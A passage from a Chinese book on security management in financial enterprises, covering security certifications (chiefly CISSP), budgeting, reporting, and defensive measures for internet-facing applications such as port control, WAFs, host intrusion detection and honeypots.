表8-5为定性指标供参考。

表8-5　安全团队绩效主观评价指标







8.6　小结



安全考核，属于企业评价体系的一部分，涉及考核对象、考核方式、考核指标、考核结果运用等。由于安全工作绩效的衡量较为困难，安全考核体系的设计也是金融企业安全负责人面临的难题之一。在资源受限的情况下，如何针对不同的考核对象设计不同的安全考核指标，促进企业安全工作的整体进展，是一个需要不断尝试和探索的领域。




第9章　安全认证



从事安全工作之后，或多或少会接触一些安全认证，根据认证对象不同，可以分为对机构的认证和对个人的认证。对机构的认证主要是ISO（GB/T）系列，如ISO 27001、ISO 20000等，对个人的认证包括：（ISC）2的CISSP、ISACA的CISA、思科公司的CCIE Security等。本章将介绍面向个人的认证体系。




9.1　为什么要获得认证



为什么要获得安全认证，或者说获得安全认证有哪些好处？一般来说，获得安全认证的需求来自于以下几点：

·通过认证，提升自身安全知识和技能。这是最朴素的需求，安全行业知识更新很快，绝大多数安全从业人员要想在激烈竞争中不被淘汰，就要通过获得认证，在短时间内快速提升自身安全知识和技能，特别是补全自己的知识短板，逼迫自己主动学习。笔者刚毕业时，给自己定的目标也是一年至少通过一个重量级安全认证，以此来促使自己主动学习和提升。

·工作需要。很多公司，特别是乙方公司，需要安全证书持有者，用于项目投标等。有的公司为了鼓励员工考取认证，甚至会给予通过认证的员工一定数额的加薪和补助。而很多甲方公司招聘时，在岗位要求中会明确“具有信息安全认证XXX者优先”。以下是几大著名招聘网站，出现相关安全证书岗位数，如图9-1所示。

·其他需要。有些人考取难度很高、拥有数量极少的认证，纯粹是为了挑战、兴趣等；有人将认证培训当生意，自身首先通过并引入国内。这类需求虽然很少，但也确实存在。




图9-1　招聘网站出现的安全证书岗位数




9.2　认证概述






9.2.1　认证分类



安全认证分成以下六类，第三、四、六类我们平常接触较多，最近几年第一、二类认证也逐步开始多起来，第五类参与的人比较少。


第一类：Hacking&Pen Testing certifications


主要是与渗透测试有关的认证，包括：

·Mile2 CPTC-Certified Penetration Testing Consultant

·Mile2 CPTE-Certified Penetration Testing Engineer

·CompTIA Security+(Introduction/Beginner)

·ISACA CSX CYBERSECURITY FUNDAMENTALS CERTIFICATE(Introduction/Beginner)

·ISACA CSX PRACTITIONER

·7Safe CSTA-Certified Security Testing Associate(British CEH)

·GIAC/SANS GIAC Penetration Tester(GPEN)

·Offensive Security Certified Professional–OSCP

·Offensive Security Wireless Professional–OSWP

·Offensive Security Certified Expert–OSCE

·Offensive Security Exploitation Expert–OSEE

·EC-Council CEH-Certified Ethical Hacker

·EC-Council ECSA-EC-Council Certified Security Analyst

·IACRB Certified Expert Penetration Tester(CEPT)

·IACRB Certified Penetration Tester(CPT)

·ISFCE Certified Computer Examiner(CCE)

·Logical Operations CyberSec First Responder(CFR)


第二类：Computer Forensics certifications


主要是与计算机取证有关的认证，包括：

·Mile2 CDFE-Certified Digital Forensics Examiner

·Mile2 CNFE-Certified Network Forensics Examiner

·GIAC/SANS GCFA:GIAC Certified Forensic Analyst

·GIAC/SANS GCFE:GIAC Certified Forensic Examiner

·GIAC/SANS GREM:GIAC Reverse Engineering Malware

·GIAC/SANS GNFA:GIAC Network Forensic Analyst

·GIAC/SANS GASF:GIAC Advanced Smartphone Forensics

·ISC2 CCFP-Certified Cyber Forensics Professional

·EC-Council CHFI-Computer Hacking Forensic Investigator

·EnCe:EnCase Certified Examiner.

·IACIS Certified Forensic Computer Examiner(CFCE)

·CyberSecurity Forensic Analyst CSFA


第三类：Management/Others certifications


主要是与信息安全管理有关的认证，包括：

·Mile2 CISSO-Certified Information Systems Security Officer

·Mile2 CIHE-Certified Incident Handling Engineer

·Mile2 CHISSP-Certified Healthcare IS Security Practitioner

·CompTIA CASP CompTIA Advanced Security Practitioner

·GIAC/SANS GSLC:GIAC Security Leadership

·GIAC/SANS GISP:GIAC Information Security Professional

·GIAC/SANS GCPM:GIAC Certified Project Manager

·GIAC/SANS GCIH:GIAC Certified Incident Handler

·ISC2 SSCP-Systems Security Certified Practitioner

·ISC2 CISSP-Certified Information Systems Security Professional

·ISC2 CCSP-Certified Cloud Security Professional

·ISC2 CSSLP-Certified Secure Software Lifecycle Professional

·ISC2 HCISPP-HealthCare Information Security and Privacy Practitioner

·EC-Council CCISO-Certified Cheif Information security Officer

·IACRB Certified SCADA Security Architect(CSSA)

·ISACA Certified in Risk and Information Systems Control

TM


 (CRISC

TM


 )

·ISACA Certified Information Security Manager

®


 (CISM

®


 )

·ISACA Certified in the Governance of Enterprise IT

®


 (CGEIT

®


 )


第四类：Auditing Certifications


主要是与信息安全审计有关的认证，包括：

·Mile2 CISMS-LA-Information Security Management Systems Lead Auditor

·Mile2 CISMS-LI-Information Security Management Systems Lead Implementer

·GIAC/SANS GSNA:GIAC Systems and Network Auditor

·ISACA Certified Information Systems Auditor(CISA)


第五类：Web Applications Security certifications


主要是与Web安全有关的认证，包括：

·Mile2 CSWAE-Certified Secure Web Application Engineer

·Offensive Security Web Expert-OSWE

·GIAC/SANS GWEB:GIAC Certified Web Application Defender


第六类：Vendor's certifications


主要是思科、CheckPoint、Juniper等厂商推出的认证，包括：

·Cisco CCNA Cyber Ops

·Cisco CCNA Security

·Cisco CCNP Security

·Cisco CCIE Security

·Fortinet Network Security Expert(NSE)1 to 8

·Check Point Certified Security Administrator(CCSA)

·Palo Alto Accredited Configuration Engineer(ACE)

·Palo Alto Networks Certified Network Security Engineer(PCNSE)

·Symantec Certified Specialist(SCS)

·Blue Coat X-Series Certified Specialist(BCXCS)

·Blue Coat X-Series Certified Expert(BCXCE)

·Juniper Networks Certified Specialist Security(JNCIS-SEC)

·Juniper Networks Certified Professional Security(JNCIP-SEC)

·Juniper Networks Certified Expert Security(JNCIE-SEC)




9.2.2　认证机构



认证机构主要包括：(ISC)2、CompTIA、Offensive Security、ISACA、GIAC、Mile2、EC-Council等，认证机构和其推出的认证如表9-1所示。

表9-1　认证机构及其推出的认证
















9.3　选择什么样的认证



2012年7月1日，国际标准化组织（ISO）发布了新修订的ISO/IEC 17024标准《合格评定人员认证机构通用要求》。简单说，17024是各类认证官方机构的遵从标准。符合17024的证书列表见图9-2。




图9-2　符合17024的证书列表（参见网址
https://www.ansi.org/Accreditation/credentialing/personnel-certification/ALLdirectoryListing?menuID=2&prgID=201&statusID=4

 ）

美国国防部的证书要求见图9-3。

各种热门安全认证排名见图9-4。




图9-3　美国国防部的证书要求




图9-4　各种热门安全认证排名

从招聘岗位对证书的需求、热门认证排名等综合来看，CISSP、CISA、CISM、CEH等证书的需求和含金量都不错。另外像CCSP这样推出时间短，又属于新兴领域（云安全）的证书，含金量也是很高的，值得推荐。

安全认证，要结合自身实际情况选择。




9.4　如何通过认证



获得安全认证一般分为两个步骤。先通过认证考试，然后申请证书。大部分厂商颁发的证书（对应第六类认证）在通过认证考试后即可获得，无须申请。有的证书有有效期，有效期之后需要每年维持一定的CPE积分才能保持证书持有资格，比如CISSP、CISA等。鉴于CISSP证书的知名度和影响力，下面以CISSP为例介绍获得证书的基本过程。CISSP证书的持证比例每年都在增长，见图9-5，已成为安全从业人员的首要认证。




图9-5　CISSP证书持证增长情况


1.考前准备


根据不同情况，一般复习准备时间约为半年，因人而异。备考资料ALL IN ONE+官方学习指南。大部分安全从业者英语可能都不太好，因此建议ALL IN ONE选择看中文版，每章后面都有一个总结，对全章的知识点进行提炼，一定要仔细认真看，这是全章的精华部分。看完中文版之后开始看对应的英文版，因为中文版是翻译英文版的，看英文版的时候把中文版放在旁边，有不认识的英文长句和英文单词，直接看中文版，比查字典快。如果没有时间通读英文版，就只看全章知识点的那部分英文。具体时间分配：2个月ALL IN ONE，2个月官方学习指南，2个月练习题和回顾知识点，最后10天冲刺，最好能够请一周假，全力冲刺。

部分认证是需要参加官方培训才可以报名参加考试，大部分不需要参加官方培训。还有一种方式是借助第三方培训机构。第三方培训机构能够快速传授认证的知识点和关键信息，但具体的知识内容还是需要自己花时间去学习、理解和掌握。第三方机构能够为你节约准备复习材料和报名考试、申请认证（很多认证都需要英文网站报名和证书申请）的时间，如果自己英文不是很好，时间也不充裕的话，可以考虑第三方机构培训。

资源方面，一般买书之后会附赠一些Online testbank，如图9-6所示。




图9-6　买书附赠的一些Online testbank（
https://testbanks.wiley.com

 ）

论坛：
http://www.techexams.net/



练习题资源：
http://www.briefmenow.org/isc2/



笔者2012年通过了CISSP认证考试并申请获得了证书，根据亲身经历做了总结回顾，感兴趣的读者可以阅读附录A.1“我的CISSP之路”。


2.考试


考试类型：250道选择题。

考试语言：中英文。

考试时间：360分钟。

考试中心：北上广深、香港都有考点。

及格分数：700（满分1000分）。

考试费用：599美元，改期50美元，取消考试100美元，补考费用599美元。


3.证书申请和维持


（1）对CISSP证书申请人的要求

必须满足以下条件之一，才能申请CISSP证书：

·ISC2 CISSP CBK的领域中两个或以上，拥有至少5年的全职工作经验。

·ISC2 CISSP CBK的领域中两个或以上，拥有至少4年的全职工作经验，并拥有大学学位。

·ISC2 CISSP CBK的领域中两个或以上，拥有至少4年的全职工作经验，并持有ISC2认可及核准的证书，如未有所需的专业工作经验，可先成为ISC2 CISSP准成员（Associate of ISC2 toward CISSP），积累所需的专业工作经验及年资。通过CISSP考试起有最多6年时间去积累相关的工作经验，但在此期间必须维持良好的准成员状况及有效性，申请人通过考试后，提出要求及列明状况，此项申请必须在收到考试合格通知书的9个月内完成申请，如错过了9个月的期限，会被要求重考，才可以获得认证。

·自2012年1月1日起，通过了CISSP考试的学员必须要在收到考试合格通知书的9个月内完成背书程序，否则同样会被要求重考，才可以获得认证。

（2）证书申请

CISSP认证考试通过后，（ISC）2会要求填写4页的endorsemet，填写内容大概如下：


第一页



CANDIDATE INFORMATION


Lastname/Suname：“考生”的姓。

Firstname/Given：“考生”的名。

Examination Number：“考生”准考证上的ID号，每个考生都有。

Select One：在对应的考试科目上划“v”。


ENDORSER INFORMATION


Lastname/Suname：“推荐人”的姓。

Firstname/Given：“推荐人”的名。

Email Address：“推荐人”的电子信箱。

Phone：“推荐人”的联系电话。

Fax Number：“背书人”的传真。

备注：“推荐人”一般指持有效(ISC)2认证的人士，他们要在endorsemet上签名做推荐，一般不会通过传真联系“推荐人”。


ENDORSEMET


Select One：在对应的考试科目上划“v”。

Certification Number：“推荐人”的CISSP ID。

Position/title：可填可不填。

填写日期栏：按照格式填写签名的日期，如200年7月15日，就填写15th day of Jul，2008。

Endorsers'ignature：“推荐人”签名，签名都是英文的，和CISSP考试注册时的一样。


第二页


最后一行填写“考生”的签名和签名日期。


第三页


CISSP、CAP、SSCP，在你对应的考试科目上打“v”，另外一大项中都直接选YES好了。


第四页


没有需要填写的地方。

以上填写完毕可以扫描，然后用邮件发给对方，记得附上简历。

（3）证书维护

很多证书都有时效性，需要在一段时间后重新认证，以促使持有者关注所在专业的最新动向。CISSP资质的有效期为3年，3年后可以重新参加考试进行再认证，但(ISC)2支持持续专业教育积分（Continuing Professional Education-CPE）计划，CISSP资质持有者在3年内获得120个持续专业教育（CPE）积分，同时每年缴纳85美元的年度维护费（maintenance fee），便可保持其CISSP资质。




9.5　小结



通过获得安全认证，安全从业人员可以提供专业证明，获得晋升和加薪机会，提高客户信心。根据自身从事的安全领域，选择合适的安全认证，并坚持自我知识更新，会取得意想不到的收获。




第10章　安全预算、总结与汇报



企业安全建设中离不开安全预算的制订、日常安全总结以及安全汇报，本章将介绍这几个方面的一些实践。




10.1　安全预算




1.安全预算比例


安全预算的第一个问题是，安全投入占IT投入比例多少是合适的？2015年麦肯锡公司调研了45个全球500强公司（如图10-1所示），中位数是3%，最多的是10%。




图10-1　安全预算占IT投入比

另外一份调查报告《IT Security Spending Trends（SANS 2016）》显示，公司全年的IT预算用于安全性的百分比，最低的范围是0~3%的公司数量，而预算在4%~6%、10%~12%的公司三年时间（2014—2016）内逐步增加。

上述统计数据基本是基于国外公司的数据，笔者没有看到国内公开的相关数据，金融行业如银行、证券业的安全投入约占IT投入的5%，少数比较重视的会达到7%~10%。

安全投入的另一个趋势是，由于面临安全环境不断地恶化和监管要求的日益提升，安全预算一直处于快速增长中，且普遍高于IT预算的增长幅度。


2.预算分配


企业信息安全预算该怎么花？《IT Security Spending Trends（SANS 2016）》显示（见表10-1），预算投入领域排前三的分别是：保护和预防、检测和响应、合规和审计。

表10-1　安全预算投入领域




吴瀚清先生（道哥）曾经提到一个“三三三原则”：1/3投入到外部情报收集，这是来自外部的红军，包括众测和SRC的建设；1/3投入到安全感知系统建设，只有先看到，才能实施有效防御（特别是防御能力往往会落后于感知能力，所以要解耦）；1/3投入到防御系统的建设。笔者实践总结出“五四一原则”：50%用于新增各种安全Sensor的建设，安全Sensor是各种安全态势感知、安全监测的设备、产品和服务的统称。安全感知系统其实就是一个由粗到细的过程，原来没办法监测的安全空白区通过研发和部署新的监测工具实现安全监测并转入安全运营。40%用于维护和补充各种现有安全运维所需。10%用于人的建设，包括面向不同层级对象的安全培训，对企业高层的安全宣导，开发运维人员的安全技能培训，以及最重要的安全团队人员的安全技能提升。


3.ROI和TCO


衡量安全预算管理成效的两个重要指标是：投资回报（ROI）和总拥有成本（TCO）。

1）投资回报（Return on Investment，ROI），即投入产出比。早期用来判定投资工厂或购买铁路相关的成本是否合理，现被广泛使用在各个领域，在安全领域则用于衡量信息安全投入的产出效益情况。目前IT投入的ROI不一定都能衡量出来，安全投入这块怎么算才是合理的？一般分成财务收益和非财务收益：

·财务收益，可以减少资损（创收），降低系统性能压力（降本），比如业务安全中打击羊毛党，既降低了费用损失，也减少系统无效性能开销；又比如风控系统做好了，以前需要发验证码的交易，现在不用发了，既提升了客户体验，又大幅降低验证码费用。例如，某行风控系统上线后，验证码发送率降低七成，短时间节约几千万费用。

·非财务收益，从合规性（监管检查无不符合项）、提高安全性、提升用户体验（同人模型降低安全交付认证复杂度）、安全应急和危机公关（保持和提升品牌公信力）等衡量安全性的指标，除了过程指标，如防病毒安装率、正常更新率、检出率和攻防对抗成功率外，还有最重要的两个结果指标，即非自身发现的安全漏洞数和安全事件数。

2）总拥有成本（Total Cost of Ownership，TCO），用来帮助企业更好地衡量和管理IT投资所产生的价值及其全部成本，指从拥有某种产品开始，直到停止使用该产品期间的所有与其相关的投入成本。TCO分析的目的是，识别、量化并最终减少包括相关成本在内的总拥有成本。TCO包括三部分：资本支出、运维成本和机会成本。

比如，我们决策建设安全运营体系，包括购买和部署安全运营平台所需的硬件和软件（资本支出），安全运营所需的人力和运维服务（运维成本）。计算运维成本中很容易遗漏和不重视的是管理成本，遇到一个安全缺陷，最佳的是通过自动化技术解决，不能自动化技术解决，则要通过管理方式解决，两者成本是不同的。再比如，我们在安全运营中创建UseCase时，一定要考虑UseCase能否运营，考虑因素包括误报率和日均工单数量，只有小于一定数量，运维成本才可控。机会成本是一个不可见、非常难量化的部分。例如，因关键网络设备故障所引起的营收损失，因不能快速承载新业务来满足客户的新需求而导致的利润流失等。

在绝大多数情形下，计算总拥有成本是一个需要持续努力的过程，它既需要考虑技术方面的因素，又要兼顾非技术方面的因素，最好通过至少3年的时间范围来计算TCO。TCO的好处是，在决策初期提供了一种强有力的成本估算方法，但这种估算方法只看重成本，所以如果过度看重TCO，将使公司和安全团队最终采取将开支减到最少的策略，而较少考虑如何最大限度获得回报的策略，实践中应注意规避TCO带来的不利影响。


4.注意事项


虽然最佳ROI难以衡量，但绝大多数公司和决策者不会拿出收入的50%去进行安全建设，安全管理水平不能超越企业经营能力，或者说不能超越太多。大部分金融企业追求的是：

·与自身规模和行业排名相匹配的安全能力。

·将安全压制在较低的合格线及底线。

因此大部分决策层表态重视安全，但在和业务发展冲突时会权衡，因此安全负责人要对此有所预知并理解，实际上安全能力提高了，管理层和客户大部分是无感的，安全很多时候难做就在于此。某些安全同仁在安全汇报中尝试归纳一些正向指标，比如业务漏洞数下降了X%，但其实这些是过程指标，最终目标还是“不出事”，最后索性就用了减分的方法。这应该是大部分金融企业的做法。从这点大家就能感觉到，信息安全做得再好，好像也没法加分，出个小纰漏，就是负分，这是行业特性，很难改变。




10.2　安全总结



各类安全总结是企业安全建设负责人很重要的一项工作，如何快速高效地做一份高质量的安全总结是每位安全负责人深感头疼的问题，他们在这方面的能力普遍低于做业务的人。以年底的安全总结和述职报告为例，一份安全总结应该包括：

·内外部监管任务落实情况。包括监管、上级单位来文处理、外部网信、公安网安审计，以及内部风险、合规、稽核审计配合完成情况等。

·全年安全事件和安全指标完成情况。

·安全管理体系建设。信息安全三年规划和20××年工作方案、重点项目建设完成情况、重点安全机制建设完成情况（如开发安全管理机制建设、常态化安全检测机制）、重点任务完成情况（如服务器安全配置规范落地情况）、安全工作跟踪机制、安全报告和安全考核实施情况等。

·安全研究与安全意识培训实施情况。安全研究包括技术研究、技术创新、开源建设等内容。安全意识培训包括全员安全意识、IT部门员工安全意识、安全人员安全意识。

·内部管理。包括绩效管理、执行力管理、激励落实情况。

·人才培养。“走进员工、了解员工、帮助员工”的理念，帮助员工成才的工作情况。

·团队文化建设。吃喝玩乐不是团队文化。团队文化是对员工的思想、心理和行为具有一定约束和规范的软性调控，使全体团队成员在战略目标、运营流程、合作沟通等基本方面达成共识，从而增强凝聚力。团队文化的建设目标是打造团队文化的导向功能、约束功能、凝聚功能、激励功能和品牌效应。

·个人成长情况。个人在技术学习、管理实践、团队协作等方面的成长情况总结。

·存在的不足。包括工作的不足、团队的不足、团队负责人的不足。

·新一年重点工作和计划。

安全总结报告注意事项包括：

·结果指标和过程指标相结合，尽量提供客观数据，横向和行业对比，纵向和历史的自己对比。

·要阐述公司战略和业务发展规划、IT战略，规划下，安全支撑研发运维、安全支持业务发展的情况。

·主动回应公司、业务部门、IT部门领导和横向团队关切，抱着建设的心态去接受不同意见。

·写一份好的总结的第一要素是安全团队全年业绩，而不是写作技巧。切忌吹嘘，存在的不足不要蜻蜓点水，要深刻剖析。业绩突出团队，不足归于自身。

·最后不要忘记感谢，感恩让我们走得更远。

其他安全总结类似，明确总结交付的对象，总结的关键内容、客观数据和业绩，是一份高质量总结的关键因素。




10.3　安全汇报



“如何管理你的上级”，将上级作为你工作的资源之一，是非常有趣的管理领域话题。安全汇报是“管理好你的上级”非常重要的一环，也是我们安全人员最不擅长的。企业安全负责人在职业生涯中面临无数的安全汇报，如何让每一次汇报取得预想的效果？如何让安全汇报成为企业安全建设的强力助推器？

参考表10-2，根据汇报对象的不同，需要建立面向监管层、公司经营管理层、跨业务和IT的跨部门，以及IT部门和总经理、安全团队内部的汇报机制。汇报的形式，包括正式会议、正式报告、正式流程阅签、邮件，甚至非正式汇报（电话、微信，吃饭和路边交流）。汇报材料可以是PPT，也可以是Word，以及邮件和短信、微信等一切可以传递交流信息的载体工具。汇报的内容一般围绕四个目标展开：进展和问题报告（沟通信息、取得理解），结果和成果（讲成绩也讲问题），要资源和支持，推动工作（表扬先进督促后进）。

表10-2　安全汇报




汇报线的不同通常会影响协调工作，理论上汇报层级越高，越能拿到“令牌”，管理权限越大，推动一些基础安全措施会更顺利一些。安全汇报一定要聚焦和围绕目标，根据汇报对象不同，满足汇报对象的利益诉求和关切点。重大汇报前，要熟悉每一个数据，提前练习，一定要取得汇报结论。




10.4　小结



本章围绕安全预算、安全总结和安全汇报三个内容，总结了一些具体实践和注意事项，希望读者在实际工作中，结合具体情况，反复总结，优化提升，必将获益良多。




第二部分　安全技术实战



第11章　互联网应用安全

第12章　移动应用安全

第13章　企业内网安全

第14章　数据安全

第15章　业务安全

第16章　邮件安全

第17章　活动目录安全

第18章　安全热点解决方案

第19章　安全检测

第20章　安全运营

第21章　安全运营中心

第22章　安全资产管理和矩阵式监控

第23章　应急响应

第24章　安全趋势和安全从业者的未来




第11章　互联网应用安全



Web 2.0时代，企业会将越来越多的应用暴露在互联网上，带来的风险不容忽视。传统企业会用防火墙进行隔离，将应用部署在隔离区（Demilitarized zone，DMZ），图11-1是一个简单的示意图。




图11-1　传统企业互联网应用示意图

防火墙在这里的作用有两点：一是将内网、DMZ区、互联网进行隔离，二是将DMZ的私网地址映射到互联网上供外部访问。当然，实际企业可能做映射的不一定是防火墙，也有可能是负载均衡设备。当一个应用需要对互联网访问时，需要注意哪些事项，本章将从外到里逐一阐述。




11.1　端口管控



首先要做的就是端口管控，即在防火墙上严格限制对外开放的端口。原则上DMZ服务器只允许对外开放80、443端口，而且DMZ服务器不允许主动访问外部，访问外部的业务需要一对一开通访问。

常见的端口管控误区如下：

·有些企业管理员为了方便维护，在防火墙上直接对外开放Telnet、SSH、RDP的端口，这是非常不明智的，只要知道密码，黑客就可以通过这些端口获得交换机/服务器的权限，即使不知道密码，也可以通过暴力猜解密码获得登录凭证。有经验的管理员都知道，只要将SSH对外开放，系统日志就会出现大量的登录失败日志。

·还有一些FTP、MSSQL、MySQL、Redis、Rynsc、memcached、Elasticsearch、Mongodb等相关应用的端口，也不应该对互联网开放，否则各种自动化的攻击工具或蠕虫也会很快通过这些端口得到相应的权限，甚至直接加密你的数据进行勒索。有兴趣的读者可以上网搜索“FTP本地提权”“Redis未授权访问”“MongoDB勒索”“Elasticsearch勒索”等等。

一般大型企业的互联网出口或者业务系统会比较多，在日常防火墙维护过程中，难免会出现遗漏，所以需要有相应的机制来保障高危端口不对外开放，开放了要及时发现，这就需要端口扫描。说到端口扫描工具，必谈Nmap，此外还有Zmap、Masscan也很受欢迎，下面简单介绍Nmap和Masscan。

Nmap功能非常强大，仔细看其帮助即可体会，如图11-2所示。Nmap支持列表改入、各种主机发现、端口扫描技术、操作系统探测、扫描时间控制、各种格式输出等，甚至还支持外部脚本针对性的检测漏洞。端口扫描技术常用的有：半开放扫描（TCP SYN）、全连接扫描（TCP Connect）、ACK扫描、FIN扫描等。另外，Nmap扫描输出的xml格式结果文件，用脚本解析起来很方便，和其他系统对接非常轻松。




图11-2　Namp的使用

Nmap功能虽然强大，但在大网段全端口扫描时会非常慢，这时候就需要Masscan了。Masscan号称是“最快的互联网端口扫描器”，最快可以在6分钟内扫遍互联网，每秒可以发送一百万个数据包，适合于对大量地址进行快速扫描。Masscan提供较为丰富的选项。例如，用户可以指定扫描的端口、路由器地址、发包速率和最大速率等。同时，它还支持多种文件格式用于保存扫描结果。

对于大型企业，建议采用联合方式，例如先用Masscan快速扫描一遍，然后再针对性地用Nmap扫描，以获取更多信息，包括操作系统版本、端口对应的Banner信息等。当扫描程序发现高危端口后，可以实时输出日志给SOC，以便一线人员实时跟进处理。在实际工作中，扫描还需要注意避开业务高峰、调整发包速率参数等，以免引起不必要的麻烦。




11.2　Web应用安全



端口管控工作是基础，做好端口管控工作后，需要将重点放在Web安全上。OWASP组织（Open Web Application Security Project，开放式Web应用程序安全项目）每年都会有个Top 10的风险列表，包括各种注入（SQL、NoSQL、OS、LDAP等注入）、XSS攻击、CSRF，等等。在Web安全领域，吴翰清的《白帽子讲Web安全》值得推荐，客户端脚本安全、服务端应用安全都包括在内。作为企业安全从业人员，除了要知道黑客怎么攻击外，还需要关注我们怎么防守，在哪些维度上进行防守。


1.Web应用防火墙


针对常规的Web扫描行为，Web应用防火墙（Web Application Firewall，WAF）基本上可以直接拦截或阻断。Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。与传统防火墙不同，WAF工作在应用层，因此对Web应用防护具有先天的技术优势。基于对Web应用业务和逻辑的深刻理解，WAF对来自Web应用程序客户端的各类请求进行内容检测和验证，确保其安全性与合法性，对非法的请求予以实时阻断，从而对各类网站站点进行有效防护。

WAF产品有基于硬件的，也有基于软件的，还有基于云的：

·硬件WAF一般支持透明桥接模式、旁路模式、反向代理模式等部署方式，而且性能好、支持ByPass等，所以是我们的首选。当然，有些防火墙的IPS模块也具备一定的WAF功能，例如CheckPoint；有些负载均衡设备本身也支持SSL卸载和应用防护，例如F5。在实际的部署过程中，需要考虑在哪一层部署，或者结合各产品自身特性综合性地部署。

·在一些不重要的区域或者基于成本考虑，也可以使用软件WAF，比较著名的有ModSecurity。ModSecurity的规则包括基础规则集、SLR规则集、可选规则集、实验性规则集。基础规则集主要包括与HTTP协议规范相关的一些规则，一些SQL注入、XSS、目录遍历、Webshell等；SLR规则集则是针对特定应用（例如Joomla、PHPBB、WordPress等）的漏洞利用规则。考虑到ModSecurity性能有所不足，还可以使用基于nginx的方案，如Naxsi，或者其他开源方案，如GitHub上的FreeWAF。客观来讲，使用开源WAF对安全人员要求较高，也更灵活。

·有些企业考虑将业务上云，于是出现了基于云的WAF，其本质上也是软件WAF，结合了一些日志分析、机器学习的技术。

整体来讲，可以考虑在前端有硬件WAF的情况下，在服务器上启用软件WAF，结合业务场景对特定请求进行重点防护，以做补充。


2.入侵检测/防御系统


虽然市面上某些WAF有利用机器学习的功能，可以对各种请求的参数进行学习并判定是否合法，但WAF更多是基于规则的，有规则就会有绕过的可能。针对这些可能绕过WAF的请求，我们还需要借助入侵检测系统/入侵防御系统（Intrusion Detection System/Intrusion Prevention System，IDS/IPS）类产品对WAF后端的流量进行分析，发现恶意行为。IDS开源的有Snort，网上有较多的资料，不再赘述。商业的IDS产品相对来讲更有保障，有新漏洞也可以得到新的规则库，在发生告警后还可以保留一段时间的数据包供进一步分析。


3.漏洞扫描和渗透测试


针对暴露在互联网上的应用，我们自己也要开展定期扫描、内外部渗透测试等工作。漏洞扫描工具常见的有AWS、IBM Appscan、HP WebInspect、Nikto等商业或开源扫描器，针对一些漏洞逻辑可能还会使用BurpSuite、Fiddler等工具进行辅助。笔者建议有条件的企业，对一些企业应用经常出现的漏洞进行针对性的扫描，适当的时候可以结合开源代码定制自己的扫描器，这样的好处是便于内部IPS和WAF识别或加白处理。

渗透测试往往包含内部测试和外部测试，内部安全人员对业务理解更深，更容易发现问题。考虑到内部人手、技能、经验等原因，企业一般会采购外部渗透服务，有一些是国家测评中心等国家单位，有些是绿盟、安恒、长亭科技这样的企业。笔者建议是多找几家，最好实现按漏洞付费，每个公司的渗透人员都有不同的经验和思路，多找几家往往能更加全面地覆盖。

关于漏洞扫描和渗透测试的内容，在第19章中有更详细的描述。




11.3　系统安全



未拦截的请求到了DMZ服务器，对应用或者系统有什么样的影响，我们放到这一节来探讨。常规的系统加固、Web Server加固、目录权限设置等就不说了，恶意请求的目的可能是：想利用上传功能直接上传一个WebShell，利用文件包含功能直接引用一个远程的WebShell，利用文件解析漏洞上传恶意图片或视频，触发特定漏洞执行命令，或者是已经拿到WebShell直接请求执行命令。如何有效发现WebShell，是一个很大的话题，这里不详细展开。一般来讲，有以下几个思路：

·文件内容扫描，看是否有一些高危函数、黑客版权信息等，改进一点的是结合机器学习对网络上的各种样本进行收集提取。

·结合文件变化及属性来判断。

·结合网络流量特征来判断。

·结合脚本底层执行动作来判断。

在系统上，有没有较好的方式发现异常呢？打个比方，有些黑客喜欢拿到WebShell后上来就执行whoami之类的指令，我们是否可以利用基于主机型入侵检测系统（Host-based Intrusion Detection System，HIDS）中的检测模型发现其中的异常呢？操作系统本身就有一些审计日志功能，针对一些特定的攻防场景，需要针对性的研究，定制规则以发现异常。


1.OSSEC


开源的HIDS产品中，OSSEC比较出名。OSSEC是一款开源的基于主机的入侵检测系统，包括日志分析、文件/注册表完整性检测、安全策略监控、Rootkit检测、实时报警、动态响应等功能。它的最大优势在于支持很多操作系统，包括Linux、MacOS、Solaris、HP-UX、AIX和Windows。OSSEC默认带有一些规则，包括SSH破解、Windows登录失败、账号添加修改等，安装上简单测试就可以看到效果，但要实际投产使用，还需要针对性地写一些插件规则以满足特定场景下的攻防策略需求。另外，OSSEC有些功能的实现方式不是非常完美，例如，Rookit检测中的代码居然是直接利用netstat命令的结果进行对比，如图11-3所示。




图11-3　Rookit检测中的代码直接利用netstat命令的结果进行对比

在负载高的机器上，netstat的执行会非常慢，还会因为时间原因产生误报。


2.Sysmon


对于Windows系统，建议使用Sysmon。Sysmon是由Windows Sysinternals出品的Sysinternals系列中的工具，它以系统服务和设备驱动程序的方式安装在系统上，并保持常驻性。Sysmon用来监视和记录系统活动，并记录到Windows事件日志，可以提供有关进程创建、网络连接和文件创建时间更改的详细信息。Sysmon由微软出品，兼容性有保障，功能强大，对Windows审计日志是一个非常棒的补充。在大量机器部署的情况下，结合Sysmon+Evtsys收集日志汇总到SOC，定制CASE，也是一个不错的方案。




11.4　网络安全



假设某台服务器因为有漏洞已经被攻陷，黑客一般会在机器上进行各种翻找，甚至进一步探测其他网络。

WebShell通常为了方便都提供反弹shell的功能，即主动外连到特定端口，如果前面我们的防火墙在外连这块控制得不好，就容易出问题。针对这个隐患，我们建议在网络上针对主动出站的连接进行记录，与学习到的基线或者自行维护的黑白名单进行对比，以发现问题，我们把它称之为“异常流量检测系统”，在DMZ环境下只需关注主动外连的情况，相对简单。

在DMZ内网活动的时候，流量不一定会被镜像到，这时候我们需要借助蜜罐来发现异常。在每个DMZ网段内部署一到两个蜜罐，可以有效发现针对内网的扫描和探测行为。提到蜜罐，大家都熟知honeyd，是一个非常优秀的开源蜜罐框架，支持模拟多个IP主机和任意的网络拓扑结构，还支持服务模拟脚本来模拟后端应用，如IIS、Telnet、POP3等。在实际环境中需要关注其可能带来的运行风险，例如，其arpd的组件使用类似ARP欺骗的方式牵引流量到密灌，在错误的运行方式下，如果同一网段任意存活主机在某时刻短暂掉线后，可能会被蜜罐程序的ARP包刷新网关上的MAC地址表，导致原IP无法正常访问。其实，蜜罐不一定要非常专业，在一些特定区域比如DMZ一些简单的基于端口访问的初级蜜罐也能发挥很大作用。




11.5　数据安全



一个合法的Web请求最后可能会涉及后端各种业务逻辑，跟数据库打交道，在页面上展示相关内容等。这里需要关注两个问题，一是到数据库的请求是否真的合法；二是页面上返回的输出是否包含敏感信息，我们都放在这一节来讲。

